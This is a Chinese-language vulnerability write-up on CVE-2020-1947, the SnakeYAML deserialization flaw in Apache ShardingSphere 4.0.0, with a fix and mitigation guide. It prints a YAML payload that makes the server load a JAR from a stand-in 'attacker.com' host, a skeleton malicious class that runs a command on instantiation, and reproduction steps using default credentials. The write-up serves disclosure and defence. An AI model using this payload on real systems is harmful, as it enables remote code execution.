Apache ShardingShpere(CVE-2020-1947)漏洞分析
字数 1182 2025-08-18 11:39:30
Apache ShardingSphere (CVE-2020-1947) 漏洞分析与防护指南
漏洞概述
漏洞编号: CVE-2020-1947
漏洞类型: 远程代码执行(RCE)
危险等级: 高危
影响范围:
- Sharding-JDBC
- Sharding-Proxy
- Sharding-UI
- 受影响版本: 4.0.0及之前版本
漏洞发现: 由奇安信云影实验室maoge发现并提交
修复版本: Apache ShardingSphere 4.0.1
漏洞原理
该漏洞属于反序列化漏洞,具体成因如下:
- YAML解析问题: ShardingSphere在解析snakeyaml时未进行适当校验
- 配置中心风险: 当存在配置中心时,用户提交恶意代码会被直接解析并反序列化
- 反序列化执行: 通过构造特定的YAML格式,可以实例化恶意类并执行任意代码
技术细节
漏洞利用机制
-
SnakeYAML语法利用:
!!+class语法用于实例化一个类- 可以构造恶意YAML内容实例化危险类
-
利用链构造:
!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://attacker.com/malicious.jar"] ]] ] -
恶意JAR构造:
public class AwesomeScriptEngineFactory implements ScriptEngineFactory { public AwesomeScriptEngineFactory() { try { Runtime.getRuntime().exec("恶意命令"); } catch (IOException e) { e.printStackTrace(); } } }
漏洞验证步骤
-
环境搭建:
- 下载ShardingSphere 4.0.0版本
- 启动sharding-ui (默认端口8088,账号admin/admin)
-
复现过程:
- 进入registry center添加注册中心
- 在rule config中新增规则并填入payload
- 点击commit触发命令执行
漏洞分析
-
关键点分析:
ScriptEngineManager类可以接受URLClassLoader参数URLClassLoader可动态加载远程JAR- 恶意JAR中的构造函数会在实例化时执行
-
漏洞根源:
- 直接使用
new Yaml().load()进行反序列化 - 未对反序列化的类进行任何过滤
- 直接使用
-
修复对比:
- 4.0.1版本新增
ClassFilterConstructor进行过滤 - 对
acceptClasses做了严格限制
- 4.0.1版本新增
修复方案
-
官方修复:
- 升级到Apache ShardingSphere 4.0.1或更高版本
- 下载地址: https://github.com/apache/incubator-shardingsphere/releases
-
临时缓解措施:
- 限制配置中心的访问权限
- 监控YAML解析过程
-
开发建议:
- 对反序列化操作进行严格的白名单控制
- 避免直接使用
Yaml().load()等危险方法
防护总结
- 及时更新: 保持组件最新版本
- 输入验证: 对所有配置输入进行严格验证
- 权限控制: 最小权限原则,限制配置修改权限
- 安全编码: 避免直接反序列化不可信数据
该漏洞展示了配置中心类组件在反序列化时的潜在风险,提醒开发者在处理外部输入时需要格外谨慎,特别是涉及反序列化操作时。